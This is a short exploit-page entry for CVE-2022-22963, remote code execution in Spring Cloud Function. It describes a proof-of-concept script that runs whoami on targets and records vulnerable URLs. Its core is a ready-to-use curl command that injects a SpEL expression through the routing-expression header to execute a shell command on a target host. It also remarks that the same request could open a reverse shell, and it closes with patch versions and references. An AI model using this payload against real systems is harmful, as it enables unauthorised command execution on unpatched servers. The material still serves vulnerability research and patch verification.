Share
## https://sploitus.com/exploit?id=AD1045B7-6DFA-557C-81B2-18F96F0F68A2
# CVE-2022-22963
CVE-2022-22963 PoC 

Slight modified for English translation and detection of https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py . By default whoami is executed on the target and a file vulnerable.txt is created with the URLs that are vulnerable.

Exploiting the vulnerability is quite easy to accomplish. Here is reported the curl command to exploit the vulnerability.

curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'

With this curl it’s trivial to create a file on the operating system but it could be used to open a reverse shell on the vulnerable host or container.

If you’re impacted by CVE-2022-22963, you should update the application to the newest versions 3.1.7 & 3.2.3.

# More information at
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, 
https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52